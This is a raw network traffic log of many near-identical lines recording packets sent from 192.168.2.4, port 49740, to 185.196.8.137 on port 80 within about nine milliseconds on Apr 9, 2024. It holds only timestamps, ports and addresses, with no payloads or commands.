Apr 9, 2024 14:54:04.617695093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617722034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617743015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617768049 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617788076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617816925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617830038 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617858887 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617878914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617907047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617929935 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617955923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617976904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618002892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618025064 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618052006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618072987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618098021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618119001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618144989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618165970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618191004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618211985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618238926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618261099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618288040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618307114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618334055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618355036 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618381977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618403912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618427992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618448973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618474960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618494034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618520975 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618541956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618568897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618588924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618613958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618634939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618659973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618685961 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618710995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618740082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618772030 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618793011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618817091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618838072 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618865013 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618885994 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618911028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618931055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618957043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.618978024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619004011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619024038 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619051933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619074106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619100094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619122982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619148016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619168997 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619194984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619215965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619242907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619261980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619287014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619307041 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619332075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619354010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619404078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619404078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619431019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619452953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619481087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619523048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619544983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619642973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619664907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619688034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619709969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619729996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619750977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619775057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619798899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619822025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619847059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619868994 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619890928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619911909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619931936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619946957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619971037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.619992018 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620013952 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620033979 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620054960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620074034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620094061 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620115995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620140076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620161057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620182991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620203972 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620232105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620239973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620266914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620285988 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620306015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620327950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620347977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620368958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620388985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620410919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620431900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620455980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620477915 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620500088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620518923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620541096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620562077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620582104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620603085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620621920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620649099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620661974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620685101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620701075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620728016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620752096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620773077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620793104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620837927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620839119 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620861053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620878935 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620899916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620918036 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620940924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620963097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.620984077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621000051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621025085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621051073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621073008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621093988 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621112108 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621133089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621154070 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621176004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621190071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621215105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621236086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621257067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621278048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621298075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621320009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621340990 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621361017 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621380091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621406078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621424913 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621445894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621459007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621486902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621507883 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621526003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621546984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621566057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621589899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621608973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621630907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621653080 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621674061 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621694088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621715069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621735096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621756077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621774912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621795893 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621814966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621835947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621854067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621876001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621897936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621918917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621937990 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621958971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.621979952 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622003078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622023106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622045994 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622062922 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622087955 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622129917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622129917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622143984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622168064 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622190952 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622209072 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622231007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622252941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622272015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622293949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622334003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622334003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622366905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622395992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622423887 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622451067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622476101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622524977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622579098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622579098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622595072 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622615099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622636080 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622653961 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622674942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622695923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622720957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622741938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622761965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622782946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622802973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622823954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622845888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622873068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622899055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622922897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622942924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622973919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.622996092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623018026 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623038054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623059034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623084068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623100042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623148918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623378038 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623398066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623425007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623450041 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623477936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623500109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623522043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623539925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623568058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623588085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623616934 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623635054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623662949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623683929 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623707056 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623728037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623754025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623871088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623898029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623919010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623950005 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623961926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.623991013 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624011993 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624106884 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624150991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624170065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624196053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624263048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624290943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624315023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624414921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624435902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624460936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624478102 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624509096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624526978 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624557972 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624582052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624607086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624809980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624841928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624859095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624883890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624905109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624933958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624952078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.624977112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625025034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625025034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625051022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625070095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625096083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625118971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625144958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625252008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625276089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625298977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625377893 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625406027 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625427008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625451088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625511885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625538111 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625559092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625587940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625653982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625691891 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625699997 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625730991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625752926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.625978947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626003027 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626028061 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626077890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626106024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626126051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626172066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626172066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626199961 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626224995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626250029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626274109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626296997 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626316071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626450062 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626488924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626562119 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626589060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626610041 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626636028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626656055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.626678944 CEST	49740	80	192.168.2.4	185.196.8.137
